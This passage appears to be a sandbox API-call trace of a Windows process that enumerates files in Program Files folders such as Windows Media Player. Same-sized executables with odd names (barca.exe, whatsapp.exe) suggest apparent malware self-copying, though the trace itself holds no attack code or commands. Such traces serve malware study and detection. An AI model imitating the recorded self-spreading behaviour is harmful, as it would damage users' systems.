cAlternateFileName="")) returned 0 [0080.235] GetLastError () returned 0x12 [0080.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0080.235] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0080.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0080.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.236] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fbe0560, ftCreationTime.dwHighDateTime=0x1d5a937, ftLastAccessTime.dwLowDateTime=0xa55d5930, ftLastAccessTime.dwHighDateTime=0x1d539e5, ftLastWriteTime.dwLowDateTime=0xa55d5930, ftLastWriteTime.dwHighDateTime=0x1d539e5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="lynn.exe", cAlternateFileName="")) returned 1 [0080.236] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7065be1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa7065be1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0080.236] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc917413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc917413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x95a52df0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0080.236] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa70b1ea1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa70b1ea1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa70b1ea1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0080.236] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de46570, ftCreationTime.dwHighDateTime=0x1d5c386, ftLastAccessTime.dwLowDateTime=0x20cd6e60, ftLastAccessTime.dwHighDateTime=0x1d5b5c0, ftLastWriteTime.dwLowDateTime=0x20cd6e60, ftLastWriteTime.dwHighDateTime=0x1d5b5c0, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="operamail.exe", cAlternateFileName="")) returned 1 [0080.236] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1f425d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d1f425d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d21a3bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0080.236] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfa72e7a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfa72e7a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0080.236] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfddedd5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbfddedd5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0080.236] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9da906, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf9da906, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfa86dfb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0080.236] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc7d370, ftCreationTime.dwHighDateTime=0x1d5744a, ftLastAccessTime.dwLowDateTime=0x6d2217c0, ftLastAccessTime.dwHighDateTime=0x1d5b511, ftLastWriteTime.dwLowDateTime=0x6d2217c0, ftLastWriteTime.dwHighDateTime=0x1d5b511, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="whatsapp.exe", cAlternateFileName="")) returned 1 [0080.236] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0080.236] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2062a1d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc2062a1d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfbe97cf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0080.237] GetLastError () returned 0x12 [0080.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0080.237] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0080.237] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.237] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="")) returned 1 [0080.237] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.237] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player" (normalized: "c:\\program files\\windows media player"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0080.237] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player" (normalized: "c:\\program files\\windows media player"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.238] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0080.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0080.238] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0080.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0080.238] NtClose (Handle=0x178) returned 0x0 [0080.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0080.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0080.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0080.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0080.239] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e90c0 [0080.239] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.239] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf56e180, ftCreationTime.dwHighDateTime=0x1d5a65d, ftLastAccessTime.dwLowDateTime=0x64d5250, ftLastAccessTime.dwHighDateTime=0x1d54011, ftLastWriteTime.dwLowDateTime=0x64d5250, ftLastWriteTime.dwHighDateTime=0x1d54011, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0080.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.240] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.240] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0080.240] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="")) returned 1 [0080.240] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba168ab, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6ba168ab, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x3401fe00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0080.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.240] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.240] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.241] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8044b2b8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8044b2b8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Sharing", cAlternateFileName="")) returned 1 [0080.241] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa925159f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa925159f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0080.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.242] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1 [0080.242] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="")) returned 1 [0080.242] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ee55f9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8ee55f9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8ee55f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0080.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.243] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f0b759, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f0b759, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f0b759, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpconfig.exe", cAlternateFileName="")) returned 1 [0080.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.243] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0af919e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0af919e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b1f2fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe", cAlternateFileName="")) returned 1 [0080.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.244] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b88470, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x52b88470, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4623b740, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x68200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll", cAlternateFileName="")) returned 1 [0080.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.245] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b1930c1, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x5b1930c1, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xfdb75f20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpenc.exe", cAlternateFileName="")) returned 1 [0080.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.246] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8f318ba, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8f318ba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8f318ba, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe", cAlternateFileName="")) returned 1 [0080.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.247] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6431260b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6431260b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x462abc20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll", cAlternateFileName="")) returned 1 [0080.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.248] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b4545e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b4545e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0b6b5be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x174600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnetwk.exe", cAlternateFileName="")) returned 1 [0080.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0080.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0080.248] RtlAllocateHeap (HeapHandle=0x940000, 